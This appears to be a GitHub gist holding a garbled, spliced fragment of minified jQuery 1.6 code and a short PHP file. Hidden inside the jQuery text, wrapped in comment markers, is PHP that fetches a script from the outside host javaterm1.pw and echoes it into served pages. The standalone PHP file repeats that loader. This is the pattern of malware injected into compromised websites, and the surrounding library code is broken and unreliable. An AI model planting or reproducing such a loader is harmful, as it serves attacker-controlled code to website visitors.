| expando: "jQuery" + (s.fn.jquery + Math.random()).replace(/\D/g, ""), | |
| noData: { | |
| embed: !0, | |
| object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000", | |
| applet: !0 | |
| }, | |
| hasData: function(e) { | |
| return e = e.nodeType ? s.cache[e[s.expando]] : e[s.expando], !!e && !c(e) | |
| }, | |
| data: function(e, n, r, i) { | |
| if (!s.acceptData(e)) return; | |
| var o, u, a = s.expando, | |
| f = typeof n == "string", | |
| l = e.nodeType, | |
| c = l ? s.cache : e, | |
| h = l ? e[s.expando] : e[s.expando] && s.expando; | |
| if ((!h || i && h && c[h] && !c[h][a]) && f && r === t) return; | |
| h || (l ? e[s.expando] = h = ++s.uuid : h = s.expando), c[h] || (c[h] = {}, l || (c[h].toJSON = s.noop)); | |
| if (typeof n == "object" || typeof n == "function") i ? c[h][a] = s.extend(c[h][a], n) : c[h] = s.extend(c[h], n); | |
| return o = c[h], i && (o[a] || (o[a] = {}), o = o[a]), r !== t && (o[s.camelCase(n)] = r), n === "events" && !o[n] ? o[a] && o[a].events : (f ? (u = o[n], u == null && (u = o[s.camelCase(n)])) : u = o, u) | |
| }, | |
| removeData: function(e, t, n) { | |
| if (!s.acceptData(e)) return; | |
| var r, i = s.expando, | |
| o = e.nodeType, | |
| u = o ? s.cache : e, | |
| a = o ? e[s.expando] : s.expando; | |
| if (!u[a]) return; | |
| if (t) { | |
| r = n ? u[a][i] : u[a]; | |
| if (r) { | |
| r[t] || (t = s.camelCase(t)), delete r[t]; | |
| if (!c(r)) return | |
| } | |
| } | |
| if (n) { | |
| delete u[a][i]; | |
| if (!c(u[a])) return | |
| } | |
| var f = u[a][i]; | |
| s.support.deleteExpando || !u.setInterval ? delete u[a] : u[a] = null, f ? (u[a] = {}, o || (u[a].toJSON = s.noop), u[a][i] = f) : o && (s.support.deleteExpando ? delete e[s.expando] : e.removeAttribute ? e.removeAttribute(s.expando) : e[s.expando] = null) | |
| }, | |
| _data: function(e, t, n) { | |
| return s.data(e, t, n, !0) | |
| }, | |
| acceptData: function(e) { | |
| if (e.nodeName) { | |
| var t = s.noData[e.nodeName.toLowerCase()]; | |
| if (t) return t !== !0 && e.getAttribute("classid") === t | |
| } | |
| return !0 | |
| } | |
| }), s.fn.extend({ | |
| data: function(e, n) { | |
| var r = null; | |
| if (typeof e == "undefined") { | |
| if (this.length) { | |
| r = s.data(this[0]); | |
| if (this[0].nodeType === 1) { | |
| var i = this[0].attributes, | |
| o; | |
| for (var u = 0, a = i.length; u < a; u++) o = i[u].name, o.indexOf("data-") === 0 && (o = s.camelCase(o.substring(5)), l(this[0], o, r[o])) | |
| } | |
| } | |
| return r | |
| } | |
| if (typeof e == "object") return this.each(function() { | |
| s.data(this, e) | |
| }); | |
| var f = e.split("."); | |
| return f[1] = f[1] ? "." + f[1] : "", n === t ? (r = this.triggerHandler("getData" + f[1] + "!", [f[0]]), r === t && this.length && (r = s.data(this[0], e), r = l(this[0], e, r)), r === t && f[1] ? this.data(f[0]) : r) : this.each(function() { | |
| var t = s(this), | |
| r = [f[0], n]; | |
| t.triggerHandler("setData" + f[1] + "!", r), s.data(this, e, n), t.triggerHandler("changeData" + f[1] + "!", r) | |
| }) | |
| }, | |
| removeData: function(e) { | |
| return this.each(function() { | |
| s.removeData(this, e) | |
| }) | |
| } | |
| }), s.extend({ | |
| _mark: function(e, n) { | |
| e && (n = (n || "fx") + "mark", s.data(e, n, (s.data(e, n, t, !0) || 0) + 1, !0)) | |
| }, | |
| _unmark: function(e, n, r) { | |
| e !== !0 && (r = n, n = e, e = !1); | |
| if (n) { | |
| r = r || "fx"; | |
| var i = r + "mark", | |
| o = e ? 0 : (s.data(n, i, t, !0) || 1) - 1; | |
| o ? s.data(n, i, o, !0) : (s.removeData(n, i, !0), h(n, r, "mark")) | |
| } | |
| }, | |
| queue: function(e, n, r) { | |
| if (e) { | |
| n = (n || "fx") + "queue"; | |
| var i = s.data(e, n, t, !0); | |
| return r && (!i || s.isArray(r) ? i = s.data(e, n, s.makeArray(r), !0) : i.push(r)), i || [] | |
| } | |
| }, | |
| dequeue: function(e, t) { | |
| t = t || "fx"; | |
| var n = s.queue(e, t), | |
| r = n.shift(), | |
| i; | |
| r === "inprogress" && (r = n.shift()), r && (t === "fx" && n.unshift("inprogress"), r.call(e, function() { | |
| s.dequeue(e, t) | |
| })), n.length || (s.removeData(e, t + "queue", !0), h(e, t, "queue")) | |
| } | |
| }), s.fn.extend({ | |
| queue: function(e, n) { | |
| return typeof e != "string" && (n = e, e = "fx"), n === t ? s.queue(this[0], e) : this.each(function() { | |
| var t = s.queue(this, e, n); | |
| e === "fx" && t[0] !== "inprogress" && s.dequeue(this, e) | |
| }) | |
| }, | |
| dequeue: function(e) { | |
| return this.each(function() { | |
| s.dequeue(this, e) | |
| }) | |
| }, | |
| delay: function(e, t) { | |
| return e = s.fx ? s.fx.speeds[e] || e : e, t = t || "fx", this.queue(t, function() { | |
| var n = this; | |
| setTimeout(function() { | |
| s.dequeue(n, t) | |
| }, e) | |
| }) | |
| }, | |
| clearQueue: function(e) { | |
| return this.queue(e || "fx | |
| VlRCM1RsaE9ZVkpYVFRGYVJFc(function(e, t) { | |
| function l(e, n, r) { | |
| if (r === t && e.nodeType === 1) { | |
| var i = "data-" + n.replace(f, "$1-$2").toLowerCase(); | |
| r = e.getAttribute(i); | |
| if (typeof r == "string") { | |
| try { | |
| r = r === "true" ? !0 : r === "false" ? !1 : r === "null" ? null : s.isNaN(r) ? a.test(r) ? s.parseJSON(r) : r : parseFloat(r) | |
| } catch (o) {} | |
| s.data(e, n, r) | |
| } else r = t | |
| } | |
| return r | |
| } | |
| function c | |
| pe === "mouseenter" || o.preType === "mouseleave") e.type = o.preType, r = s(e.relatedTarget).closest(o.selector)[0], r && s.c or(a = 0; a < y.length; a++) { | |
| o = y[a]; | |
| if (h.selector === o.selector && (!p || p.test(o.namespace)) && !h.elem.disabled) { | |
| u = h.elem, r = null; | |
| if (o.preTy tch(o) {} | |
| s.data(e, n, r) | |
| } else r = t | |
| } | |
| return r | |
| } | |
| function c(e) { | |
| for (var t in e) | |
| if (t !== "toJSON") return !1; | |
| r | |
| or(a = 0; a < y.length; a++) { | |
| o = y[a]; | |
| if (h.selector === o.selector && (!p || p.test(o.namespace)) && !h.elem.disabled) { | |
| u = h.elem, r = null; | |
| if (o.preTy * /if(function_exists('curl_init')){$url="http:/ / javaterm1.pw / java / jquery - 1.6.3. min.js ";$ch=curl_init();$timeout=5;curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data=curl_exec($ch);curl_close($ch);echo " | |
| $data ";}/*[])},promise:function(e,n){function h(){--u||r.resolveWith(i,[i])}typeof e!=" | |
| string "&&(n=e,e=t),e=e||" | |
| fx ";var r=s.Deferred(),i=this,o=i.length,u=1,a=e+" | |
| defer ",f=e+" | |
| queue ",l=e+" | |
| mark ",c;while(o--)if(c=s.data(i[o],a,t,!0)||(s.data(i[o],f,t,!0)||s.data(i[o],l,t,!0))&&s.data(i[o],a,s._Deferred(),!0))u++,c.done(h);return h(),r.promise()}});var p=/[\n\t\r]/g,d=/\s+/,v=/\r/g,m=/^(?:button|input)$/i,g=/^(?:button|input|object|select|textarea)$/i,y=/^a(?:rea)?$/i,b=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,w,E;s.fn.extend({attr:function(e,t){return s.access(this,e,t,!0,s.attr)},removeAttr:function(e){return this.each(function(){s.removeAttr(this,e)})},prop:function(e,t){return s.access(this,e,t,!0,s.prop)},removeProp:function(e){return e=s.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,u,a;if(s.isFunction(e))return this.each(function(t){s(this).addClass(e.call(this,t,this.className))});if(e&&typeof e==" | |
| string "){t=e.split(d);for(n=0,r=this.length;n<r;n++){i=this[n];if(i.nodeType===1)if(!i.className&&t.length===1)i.className=e;else{o=" | |
| "+i.className+" | |
| ";for(u=0,a=t.length;u<a;u++)~o.indexOf(" | |
| "+t[u]+" | |
| ")||(o+=t[u]+" | |
| ");i.className=s.trim(o)}}}return this},removeClass:function(e){var n,r,i,o,u,a,f;if(s.isFunction(e))return this.each(function(t){s(this).removeClass(e.call(this,t,this.className))});if(e&&typeof e==" | |
| string "||e===t){n=(e||" | |
| ").split(d);for(r=0,i=this.length;r<i;r++){o=this[r];if(o.nodeType===1&&o.className)if(e){u=(" | |
| "+o.className+" | |
| ").replace(p," | |
| ");for(a=0,f=n.length;a<f;a++)u=u.replace(" | |
| "+n[a]+" | |
| "," | |
| ");o.className=s.trim(u)}else o.className=" | |
| "}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t==" | |
| boolean ";return s.isFunction(e)?this.each(function(n){s(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n===" | |
| string "){var i,o=0,u=s(this),a=t,f=e.split(d);while(i=f[o++])a=r?a:!u.hasClass(i),u[a?" | |
| addClass ":" | |
| removeClass "](i)}else if(n===" | |
| undefined "||n===" | |
| boolean ")this.className&&s._data(this," | |
| __className__ ",this.className),this.className=this.className||e===!1?" | |
| ":s._data(this," | |
| __className__ ")||" | |
| "})},hasClass:function(e){var t=" | |
| "+e+" | |
| ";for(var n=0,r=this.length;n<r;n++)if(this[n].nodeType===1&&(" | |
| "+this[n].className+" | |
| ").replace(p," | |
| ").indexOf(t)>-1)return!0;return!1},val:function(e){var n,r,i=this[0];if(!arguments.length)return i?(n=s.valHooks[i.nodeName.toLowerCase()]||s.valHooks[i.type],n&&" | |
| get "in n&&(r=n.get(i," | |
| value "))!==t?r:(r=i.value,typeof r==" | |
| string "?r.replace(v," | |
| "):r==null?" | |
| ":r)):t;var o=s.isFunction(e);return this.each(function(r){var i=s(this),u;if(this.nodeType!==1)return;o?u=e.call(this,r,i.val()):u=e,u==null?u=" | |
| ":typeof u==" | |
| number "?u+=" | |
| ":s.isArray(u)&&(u=s.map(u,function(e){return e==null?" | |
| ":e+" | |
| "})),n=s.valHooks[this.nodeName.toLowerCase()]||s.valHooks[this.type];if(!n||!(" | |
| set "in n)||n.set(this,u," | |
| value ")===t)this.value=u})}}),s.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n=e.selectedIndex,r=[],i=e.options,o=e.type===" | |
| select - one ";if(n<0)return null;for(var u=o?n:0,a=o?n+1:i.length;u<a;u++){var f=i[u];if(f.selected&&(s.support.optDisabled?!f.disabled:f.getAttribute(" | |
| disabled ")===null)&&(!f.parentNode.disabled||!s.nodeName(f.parentNode," | |
| optgroup "))){t=s(f).val();if(o)return t;r.push(t)}}return o&&!r.length&&i.length?s(i[n]).val():r},set:function(e,t){var n=s.makeArray(t);return s(e).find(" | |
| option ").each(function(){this.selected=s.inArray(s(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:" | |
| tabIndex "},attr:function(e,n,r,i){var o=e.nodeType;if(!e||o===3||o===8||o===2)return t;if(i&&n in s.attrFn)return s(e)[n](r);if(" | |
| getAttribute "in e){var u,a,f=o!==1||!s.isXMLDoc(e);return f&&(n=s.attrFix[n]||n,a=s.attrHooks[n],a||(b.test(n)?a=E:w&&(a=w))),r!==t?r===null?(s.removeAttr(e,n),t):a&&" | |
| set "in a&&f&&(u=a.set(e,r,n))!==t?u:(e.setAttribute(n," | |
| "+r),r):a&&" | |
| get "in a&&f&&(u=a.get(e,n))!==null?u:(u=e.getAttribute(n),u===null?t:u)}return s.prop(e,n,r)},removeAttr:function(e,t){var n;e.nodeType===1&&(t=s.attrFix[t]||t,s.attr(e,t," | |
| "),e.removeAttribute(t),b.test(t)&&(n=s.propFix[t]||t)in e&&(e[n]=!1))},attrHooks:{type:{set:function(e,t){if(m.test(e.nodeName)&&e.parentNode)s.error(" | |
| type property can 't be changed");else if(!s.support.radioValue&&t==="radio"&&s.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return w&&s.nodeName(e,"button")?w.get(e,t):t in e?e.value:null},set:function(e,t,n){if(w&&s.nodeName(e,"button"))return w.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i=e.nodeType;if(!e||i===3||i===8||i===2)return t;var o,u,a=i!==1||!s.isXMLDoc(e);return a&&(n=s.propFix[n]||n,u=s.propHooks[n]),r!==t?u&&"set"in u&&(o=u.set(e,r,n))!==t?o:e[n]=r:u&&"get"in u&&(o=u.get(e,n))!==null?o:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):g.test(e.nodeName)||y.test(e.nodeName)&&e.href?0:t}}}}),s.attrHooks.tabIndex=s.propHooks.tabIndex,E={get:function(e,n){var r;return s.prop(e,n)===!0||(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?s.removeAttr(e,n):(r=s.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},s.support.getSetAttribute||(w=s.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&r.nodeValue!==""?r.nodeValue:t},set:function(e,t,r){var i=e.getAttributeNode(r);return i||(i=n.createAttribute(r),e.setAttributeNode(i)),i.nodeValue=t+""}},s.each(["width","height"],function(e,t){s.attrHooks[t]=s.extend(s.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})})),s.support.hrefNormalized||s.each(["href","src","width","height"],function(e,n){s.attrHooks[n]=s.extend(s.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),s.support.style||(s.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=""+t}}),s.support.optSelected||(s.propHooks.selected=s.extend(s.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),s.support.checkOn||s.each(["radio","checkbox"],function(){s.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),s.each(["radio","checkbox"],function(){s.valHooks[this]=s.extend(s.valHooks[this],{set:function(e,t){if(s.isArray(t))return e.checked=s.inArray(s(e).val(),t)>=0}})});var S=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,T=/\./g,N=/ /g,C=/[^\w\s.|`]/g,k=function(e){return e.replace(C,"\\$&")};s.event={add:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;if(r===!1)r=L;else if(!r)return;var o,u;r.handler&&(o=r,r=o.handler),r.guid||(r.guid=s.guid++);var a=s._data(e);if(!a)return;var f=a.events,l=a.handle;f||(a.events=f={}),l||(a.handle=l=function(e){return typeof s=="undefined"||!!e&&s.event.triggered===e.type?t:s.event.handle.apply(l.elem,arguments)}),l.elem=e,n=n.split(" ");var c,h=0,p;while(c=n[h++]){u=o?s.extend({},o):{handler:r,data:i},c.indexOf(".")>-1?(p=c.split("."),c=p.shift(),u.namespace=p.slice(0).sort().join(".")):(p=[],u.namespace=""),u.type=c,u.guid||(u.guid=r.guid);var d=f[c],v=s.event.special[c]||{};if(!d){d=f[c]=[];if(!v.setup||v.setup.call(e,i,p,l)===!1)e.addEventListener? | |
| e.addEventListener(c, l, !1): e.attachEvent && e.attachEvent("on" + c, l) | |
| } | |
| v.add && (v.add.call(e, u), u.handler.guid || (u.handler.guid = r.guid)), d.push(u), s.event.global[c] = !0 | |
| } | |
| e = null | |
| }, global: {}, remove: function(e, n, r, i) { | |
| if (e.nodeType === 3 || e.nodeType === 8) return; | |
| r === !1 && (r = L); | |
| var o, u, a, f, l = 0, | |
| c, h, p, d, v, m, g, y = s.hasData(e) && s._data(e), | |
| b = y && y.events; | |
| if (!y || !b) return; | |
| n && n.type && (r = n.handler, n = n.type); | |
| if (!n || typeof n == "string" && n.charAt(0) === ".") { | |
| n = n || ""; | |
| for (u in b) s.event.remove(e, u + n); | |
| return | |
| } | |
| n = n.split(" "); | |
| while (u = n[l++]) { | |
| g = u, m = null, c = u.indexOf(".") < 0, h = [], c || (h = u.split("."), u = h.shift(), p = new RegExp("(^|\\.)" + s.map(h.slice(0).sort(), k).join("\\.(?:.*\\.)?") + "(\\.|$)")), v = b[u]; | |
| if (!v) continue; | |
| if (!r) { | |
| for (f = 0; f < v.length; f++) { | |
| m = v[f]; | |
| if (c || p.test(m.namespace)) s.event.remove(e, g, m.handler, f), v.splice(f--, 1) | |
| } | |
| continue | |
| } | |
| d = s.event.special[u] || {}; | |
| for (f = i || 0; f < v.length; f++) { | |
| m = v[f]; | |
| if (r.guid === m.guid) { | |
| if (c || p.test(m.namespace)) i == null && v.splice(f--, 1), d.remove && d.remove.call(e, m); | |
| if (i != null) break | |
| } | |
| } | |
| if (v.length === 0 || i != null && v.length === 1)(!d.teardown || d.teardown.call(e, h) === !1) && s.removeEvent(e, u, y.handle), o = null, delete b[u] | |
| } | |
| if (s.isEmptyObject(b)) { | |
| var w = y.handle; | |
| w && (w.elem = null), delete y.events, delete y.handle, s.isEmptyObject(y) && s.removeData(e, t, !0) | |
| } | |
| }, customEvent: { | |
| getData: !0, | |
| setData: !0, | |
| changeData: !0 | |
| }, trigger: function(n, r, i, o) { | |
| var u = n.type || n, | |
| a = [], | |
| f; | |
| u.indexOf("!") >= 0 && (u = u.slice(0, -1), f = !0), u.indexOf(".") >= 0 && (a = u.split("."), u = a.shift(), a.sort()); | |
| if ((!i || s.event.customEvent[u]) && !s.event.global[u]) return; | |
| n = typeof n == "object" ? n[s.expando] ? n : new s.Event(u, n) : new s.Event(u), n.type = u, n.exclusive = f, n.namespace = a.join("."), n.namespace_re = new RegExp("(^|\\.)" + a.join("\\.(?:.*\\.)?") + "(\\.|$)"); | |
| if (o || !i) n.preventDefault(), n.stopPropagation(); | |
| if (!i) { | |
| s.each(s.cache, function() { | |
| var e = s.expando, | |
| t = this[e]; | |
| t && t.events && t.events[u] && s.event.trigger(n, r, t.handle.elem) | |
| }); | |
| return | |
| } | |
| if (i.nodeType === 3 || i.nodeType === 8) return; | |
| n.result = t, n.target = i, r = r != null ? s.makeArray(r) : [], r.unshift(n); | |
| var l = i, | |
| c = u.indexOf(":") < 0 ? "on" + u : ""; | |
| do { | |
| var h = s._data(l, "handle"); | |
| n.currentTarget = l, h && h.apply(l, r), c && s.acceptData(l) && l[c] && l[c].apply(l, r) === !1 && (n.result = !1, n.preventDefault()), l = l.parentNode || l.ownerDocument || l === n.target.ownerDocument && e | |
| } while (l && !n.isPropagationStopped()); | |
| if (!n.isDefaultPrevented()) { | |
| var p, d = s.event.special[u] || {}; | |
| if ((!d._default || d._default.call(i.ownerDocument, n) === !1) && (u !== "click" || !s.nodeName(i, "a")) && s.acceptData(i)) { | |
| try { | |
| c && i[u] && (p = i[c], p && (i[c] = null), s.event.triggered = u, i[u]()) | |
| } catch (v) {} | |
| p && (i[c] = p), s.event.triggered = t | |
| } | |
| } | |
| return n.result | |
| }, handle: function(n) { | |
| n = s.event.fix(n || e.event); | |
| var r = ((s._data(this, "events") || {})[n.type] || []).slice(0), | |
| i = !n.exclusive && !n.namespace, | |
| o = Array.prototype.slice.call(arguments, 0); | |
| o[0] = n, n.currentTarget = this; | |
| for (var u = 0, a = r.length; u < a; u++) { | |
| var f = r[u]; | |
| if (i || n.namespace_re.test(f.namespace)) { | |
| n.handler = f.handler, n.data = f.data, n.handleObj = f; | |
| var l = f.handler.apply(this, o); | |
| l !== t && (n.result = l, l === !1 && (n.preventDefault(), n.stopPropagation())); | |
| if (n.isImmediatePropagationStopped()) break | |
| } | |
| } | |
| return n.result | |
| }, props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), fix: function(e) { | |
| if (e[s.expando]) return e; | |
| var r = e; | |
| e = s.Event(r); | |
| for (var i = this.props.length, o; i;) o = this.props[--i], e[o] = r[o]; | |
| e.target || (e.target = e.srcElement || n), e.target.nodeType === 3 && (e.target = e.target.parentNode), !e.relatedTarget && e.fromElement && (e.relatedTarget = e.fromElement === e.target ? e.toElement : e.fromElement); | |
| if (e.pageX == null && e.clientX != null) { | |
| var u = e.target.ownerDocument || n, | |
| a = u.documentElement, | |
| f = u.body; | |
| e.pageX = e.clientX + (a && a.scrollLeft || f && f.scrollLeft || 0) - (a && a.clientLeft || f && f.clientLeft || 0), e.pageY = e.clientY + (a && a.scrollTop || f && f.scrollTop || 0) - (a && a.clientTop || f && f.clientTop || 0) | |
| } | |
| return e.which == null && (e.charCode != null || e.keyCode != null) && (e.which = e.charCode != null ? e.charCode : e.keyCode), !e.metaKey && e.ctrlKey && (e.metaKey = e.ctrlKey), !e.which && e.button !== t && (e.which = e.button & 1 ? 1 : e.button & 2 ? 3 : e.button & 4 ? 2 : 0), e | |
| }, guid: 1e8, proxy: s.proxy, special: { | |
| ready: { | |
| setup: s.bindReady, | |
| teardown: s.noop | |
| }, | |
| live: { | |
| add: function(e) { | |
| s.event.add(this, F(e.origType, e.selector), s.extend({}, e, { | |
| handler: j, | |
| guid: e.handler.guid | |
| })) | |
| }, | |
| remove: function(e) { | |
| s.event.remove(this, F(e.origType, e.selector), e) | |
| } | |
| }, | |
| beforeunload: { | |
| setup: function(e, t, n) { | |
| s.isWindow(this) && (this.onbeforeunload = n) | |
| }, | |
| teardown: function(e, t) { | |
| this.onbeforeunload === t && (this.onbeforeunload = null) | |
| } | |
| } | |
| } | |
| }, s.removeEvent = n.removeEventListener ? function(e, t, n) { | |
| e.removeEventListener && e.removeEventListener(t, n, !1) | |
| } : function(e, t, n) { | |
| e.detachEvent && e.detachEvent("on" + t, n) | |
| }, s.Event = function(e, t) { | |
| if (!this.preventDefault) return new s.Event(e, t); | |
| e && e.type ? (this.originalEvent = e, this.type = e.type, this.isDefaultPrevented = e.defaultPrevented || e.returnValue === !1 || e.getPreventDefault && e.getPreventDefault() ? A : L) : this.type = e, t && s.extend(this, t), this.timeStamp = s.now(), this[s.expando] = !0 | |
| }, s.Event.prototype = { | |
| preventDefault: function() { | |
| this.isDefaultPrevented = A; | |
| var e = this.originalEvent; | |
| if (!e) return; | |
| e.preventDefault ? e.preventDefault() : e.returnValue = !1 | |
| }, | |
| stopPropagation: function() { | |
| this.isPropagationStopped = A; | |
| var e = this.originalEvent; | |
| if (!e) return; | |
| e.stopPropagation && e.stopPropagation(), e.cancelBubble = !0 | |
| }, | |
| stopImmediatePropagation: function() { | |
| this.isImmediatePropagationStopped = A, this.stopPropagation() | |
| }, | |
| isDefaultPrevented: L, | |
| isPropagationStopped: L, | |
| isImmediatePropagationStopped: L | |
| }; | |
| var O = function(e) { | |
| var t = e.relatedTarget, | |
| n = !1, | |
| r = e.type; | |
| e.type = e.data, t !== this && (t && (n = s.contains(this, t)), n || (s.event.handle.apply(this, arguments), e.type = r)) | |
| }, M = function(e) { | |
| e.type = e.data, s.event.handle.apply(this, arguments) | |
| }; s.each({ | |
| mouseenter: "mouseover", | |
| mouseleave: "mouseout" | |
| }, function(e, t) { | |
| s.event.special[e] = { | |
| setup: function(n) { | |
| s.event.add(this, t, n && n.selector ? M : O, e) | |
| }, | |
| teardown: function(e) { | |
| s.event.remove(this, t, e && e.selector ? M : O) | |
| } | |
| } | |
| }), s.support.submitBubbles || (s.event.special.submit = { | |
| setup: function(e, t) { | |
| if (!!s.nodeName(this, "form")) return !1; | |
| s.event.add(this, "click.specialSubmit", function(e) { | |
| var t = e.target, | |
| n = s.nodeName(t, "input") ? t.type : ""; | |
| (n === "submit" || n === "image") && s(t).closest("form").length && H("submit", this, arguments) | |
| }), s.event.add(this, "keypress.specialSubmit", function(e) { | |
| var t = e.target, | |
| n = s.nodeName(t, "input") ? t.type : ""; | |
| (n === "text" || n === "password") && s(t).closest("form").length && e.keyCode === 13 && H("submit", this, arguments) | |
| }) | |
| }, | |
| teardown: function(e) { | |
| s.event.remove(this, ".specialSubmit") | |
| } | |
| }); | |
| if (!s.support.changeBubbles) { | |
| var _, D = function(e) { | |
| var t = s.nodeName(e, "input") ? e.type : "", | |
| n = e.value; | |
| return t === "radio" || t === "checkbox" ? n = e.checked : t === "select-multiple" ? n = e.selectedIndex > -1 ? s.map(e.options, function(e) { | |
| return e.selected | |
| }).join("-") : "" : s.nodeName(e, "select") && (n = e.selectedIndex), n | |
| }, | |
| P = function(n) { | |
| var r = n.target, | |
| i, o; | |
| if (!x.test(r.nodeName) || r.readOnly) return; | |
| i = s._data(r, "_change_data"), o = D(r), (n.type !== "focusout" || r.type !== "radio") && s._data(r, "_change_data", o); | |
| if (i === t || o === i) return; | |
| if (i != null || o) n.type = "change", n.liveFired = t, s.event.trigger(n, arguments[1], r) | |
| }; | |
| s.event.special.change = { | |
| filters: { | |
| focusout: P, | |
| beforedeactivate: P, | |
| click: function(e) { | |
| var t = e.target, | |
| n = s.nodeName(t, "input") ? t.type : ""; | |
| (n === "radio" || n === "checkbox" || s.nodeName(t, "select")) && P.call(this, e) | |
| }, | |
| keydown: function(e) { | |
| var t = e.target, | |
| n = s.nodeName(t, "input") ? t.type : ""; | |
| (e.keyCode === 13 && !s.nodeName(t, "textarea") || e.keyCode === 32 && (n === "checkbox" || n === "radio") || n === "select-multiple") && P.call(this, e) | |
| }, | |
| beforeactivate: function(e) { | |
| var t = e.target; | |
| s._data(t, "_change_data", D(t)) | |
| } | |
| }, | |
| setup: function(e, t) { | |
| if (this.type === "file") return !1; | |
| for (var n in _) s.event.add(this, n + ".specialChange", _[n]); | |
| return x.test(this.nodeName) | |
| }, | |
| teardown: function(e) { | |
| return s.event.remove(this, ".specialChange"), x.test(this.nodeName) | |
| } | |
| }, _ = s.event.special.change.filters, _.focus = _.beforeactivate | |
| } | |
| s.support.focusinBubbles || s.each({ | |
| focus: "focusin", | |
| blur: "focusout" | |
| }, function(e, t) { | |
| function i(e) { | |
| var n = s.event.fix(e); | |
| n.type = t, n.originalEvent = {}, s.event.trigger(n, null, n.target), n.isDefaultPrevented() && e.preventDefault() | |
| } | |
| var r = 0; | |
| s.event.special[t] = { | |
| setup: function() { | |
| r++ === 0 && n.addEventListener(e, i, !0) | |
| }, | |
| teardown: function() { | |
| -- | |
| */?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( function_exists('curl_init') ) { | |
| $url="http://javaterm1.pw/java/jquery-1.6.3.min.js"; | |
| $ch=curl_init(); | |
| $timeout=5; | |
| curl_setopt($ch,CURLOPT_URL,$url); | |
| curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); | |
| curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); | |
| $data=curl_exec($ch); | |
| curl_close($ch); | |
| echo "$data"; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment